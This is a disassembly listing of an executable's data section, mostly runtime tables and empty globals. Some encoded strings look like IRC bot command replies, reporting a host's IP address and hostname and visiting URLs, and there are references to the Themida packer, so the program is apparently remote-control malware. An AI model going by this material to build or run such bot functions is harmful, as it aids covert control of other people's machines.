dword_43A148 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41ACF6+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43A18C dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A190 dd offset byte_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A194 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo
dword_43A19C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o
unk_43A1AC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A1DC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43A208 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41ADB5+1A0o
dd 4C525520h, 2Eh
unk_43A224 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_43A260 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41ADB5+18Co
dd 64657469h, 2Eh
dword_43A27C dd 2A2F2Ah ; DATA XREF: sub_41ADB5+3Bo
dword_43A280 dd 5B8D679Dh ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
align 10h
dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr
dd 9875h, 9873h
off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r
dd offset nullsub_3
dd offset nullsub_3
dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr
dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o
; sub_41CC4A+2o
off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr
dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er
; sub_4235C9+46r ...
dd 10h, 0
off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do
; sub_41E976+69o ...
off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r
; sub_41E976+89w ...
dd offset dword_43A2E8
dd offset dword_43A2E8
dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r
; sub_41EABA:loc_41EB07w
dd 0FFFFFFFFh
dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o
; ___:0043A2DCo
off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r
; sub_41EABA+20w ...
dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r
; sub_41B513:loc_41B54Fr ...
off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r
; sub_41B6EE:loc_41B74Fr ...
off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r
db 2 dup(0)
word_43C302 dw 20h ; DATA XREF: sub_424D47+18r
; ___:off_43C2F8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r
; sub_41B6EE:loc_41B73Ar ...
byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r
; sub_420510+311r ...
align 4
dd 1
off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r
; sub_41F69F+457r
; "(null)"
off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r
; "(null)"
byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r
db 2, 4, 8
align 10h
dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo
dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr
dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co
; sub_4203DF+Co
dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o
; sub_420510:loc_420A77o
dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o
dword_43C788 dd 14h ; DATA XREF: sub_421624+2o
off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r
; "exp"
dd 1Dh, 427878h, 1Ah, 42C270h, 1Bh, 427870h, 1Fh, 427868h
dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch
dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
dd 23h, 4277D4h, 24h, 4277D0h
dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r
; sub_42135F:loc_421446r ...
dd 0
dd 0FFF80000h
dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r
; sub_42135F:loc_42141Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
; sub_42180C+1Fr
align 4
tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
align 10h
off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw
; sub_41F69F+3AAr
off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w
; sub_41F69F+3E2r
off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w
; sub_420510+430r
off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew
; sub_41F69F+3CBr
off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w
off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w
dd offset sub_42470C
align 10h
dd offset sub_42255C
off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r
dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar
; sub_422E2F+11o ...
dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43C940 dd 3 ; DATA XREF: ___:00422D46r
; sub_425955+C8r
dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr
; sub_425955+CDr
dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r
; sub_425A82+4r
dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r
; ___:00422D7Dw ...
dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o
; sub_41F58A:loc_41F647o
dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo
; sub_4235C9+28r
off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
; sub_4235C9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h
dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433824h
dd 0FFh, 427960h
off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo
; sub_423936+55o
align 10h
dd offset dword_4DB5A0
dd 101h
dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o
dd 1000h, 0
dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o
; sub_420446+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o
; sub_420446:loc_420464o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo
dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o
dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r
; sub_421014+46r
align 8
dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo
dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r
; sub_4247EC+5Ew ...
dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r
; sub_4247EC+8Bw ...
dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br
; sub_4247EC+94w ...
off_43CCB4 dd offset loc_54534D+3 ; DATA XREF: ___:off_43CD34o
dd 0Fh dup(0)
off_43CCF4 dd offset loc_54444C+4 ; DATA XREF: ___:off_43CD38o
dd 0Fh dup(0)
off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr
; sub_4247EC+D9r ...
off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r
; sub_4247EC+11Br ...
align 10h
dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw
; sub_424A4A+1Er ...
dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er
; sub_424BF6+BFw
dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r
; sub_424BF6+E0w
align 10h
dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w
; sub_424A4A+26r ...
dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar
; sub_424BF6+EAw ...
dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r
; sub_424BF6+23r ...
dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar
; sub_424BF6+2Er ...
dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425DDA+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o
; ___:00428030o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o
; ___:00427E38o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o
; ___:00427E84o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co
; ___:00427ED0o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o
; ___:00427F14o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42470C
align 10h
dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
dword_43D130 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+B07o ...
dd 5 dup(0)
dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r
; sub_4150B4+60r
dd 2D9h dup(0)
dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r
; sub_401ACD+5F3Fr ...
dd 7Fh dup(0)
dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w
; sub_40B231+40w ...
dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w
; sub_40B231+46w ...
dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w
; sub_40B231+3Ar ...
dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r
; sub_40B412+2Aw ...
dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5DA7r ...
align 4
dd 1E21h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433764o
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A50o
dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384C0o
dword_457444 dd 12416h dup(0)
db 0
byte_4A049D db 3 dup(0) ; DATA XREF: Themida_:loc_5498B7o
; Themida_:0054E311o
dd 5369h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_43832Co
dd 569Ah dup(0)
dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B0F6+13o ...
dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_4044D7r ...
dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8BEr
dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo
; sub_40C9A4+13o ...
dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w
; sub_409B12+4EBr ...
dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w
; sub_4196BC+166r
dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw
; sub_409B12+880r ...
dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w
; sub_409B12+A43r ...
dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw
; sub_409B12+A13r ...
dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw
; sub_409B12+4DBr ...
dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w
; sub_409B12+234r
dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw
; sub_409B12+A3Br ...
dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w
; sub_409B12+3C7r ...
dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw
; sub_41AA42+11Er
dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw
; sub_409B12+3CFr ...
dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w
; sub_418C8E+ADr
dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw
; sub_40F0D5+115r ...
dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w
; sub_409B12+D2r ...
dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw
; sub_409B12+A06r ...
dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w
; sub_409B12+3E7r ...
dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w
; sub_409B12+8ACr ...
dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w
; sub_409B12+2F0r ...
dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw
; sub_409B12+8A4r ...
dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w
dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w
; sub_409B12+8B4r ...
dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw
; sub_409B12+6D0r ...
dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w
; sub_409B12+CAr ...
dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w
dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r
; sub_409B12+A95w ...
dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w
; sub_409B12+F2r
dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w
; sub_409B12+4D3r ...
dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w
; sub_40BFA3+20r
dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw
; sub_409B12+A33r
dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w
; sub_409B12+754r ...
dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w
dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw
; sub_409B12+86Dr ...
dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w
; sub_40B2F1+3Do ...
dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w
; sub_409B12+A1Br ...
dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw
; sub_409B12+3D7r ...
dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w
; sub_409B12+3DFr ...
dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w
; sub_409B12+C8Cr ...
dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw
; ___:0041088Fr
dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w
; sub_4153BC+207r
dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w
; sub_409B12+A4Br ...
dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r
; sub_409B12+2B2w ...
dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw
; sub_409B12+DAr ...
dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r
; sub_401ACD+79CEr ...
dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5117r ...
dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w
; sub_409B12+890r ...
dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w
; sub_409B12+A23r
dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew
; sub_409B12+C3Fr
dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw
; sub_4184E1+47r
dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw
dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw
; sub_409B12+92Er
dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w
dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w
; sub_4184E1+4Fr
dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w
; sub_409B12+6E8r ...
dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw
; sub_409B12+873r
dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w
; sub_409B12+23Cr
dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w
; sub_409B12+1C2r ...
dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r
; sub_401ACD+5AC7r ...
dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+51A1r ...
dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w
; sub_409B12+6DCr ...
dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw
; sub_409B12:loc_40A40Bw ...
dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r
; sub_409B12+28Bw ...
dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r
; sub_409B12+69Fw ...
dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw
; sub_409B12+341r ...
dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w
; sub_409B12+3EFr ...
dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w
; sub_409B12+C37r
dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w
; sub_409B12+888r ...
dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w
; sub_409B12+227r
dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw
; sub_409B12+1D2r ...
dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w
; sub_409B12+898r ...
dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w
; sub_409B12+774r
dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409B12+2BFw ...
dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw
; sub_409B12+79Cr ...
dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w
; sub_409B12+334r ...
dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w
; sub_409B12+784r ...
dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw
; sub_409B12+4AEr ...
dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w
; sub_409B12+1DAr ...
dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w
; sub_409B12+3BAr ...
dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w
dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw
; sub_409B12+748r ...
dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5153r ...
dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw
; sub_409B12+C2r ...
dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w
; sub_409B12+4CBr ...
dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w
; sub_409B12+1BAr ...
dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw
; sub_409B12+A5Br ...
dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w
; sub_409B12+7ACr ...
dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+51B6r ...
dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw
; sub_409B12+C47r
dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew
; sub_409B12+BAr ...
dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r
; sub_409B12+298w ...
dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w
; sub_409B12+78Cr ...
dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w
; sub_409B12+77Cr ...
dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r
; sub_409B12+C92w
dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w
; ___:004168D5r ...
dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w
dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w
; sub_409B12+C22r
dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r
; sub_401ACD+5F98r ...
dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w
; sub_409B12+4BBr ...
dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw
; sub_409B12+4E3r ...
dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w
; sub_409B12+4C3r ...
dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+51D3r ...
dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w
; sub_409B12+1E2r ...
dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w
; sub_409B12+A53r ...
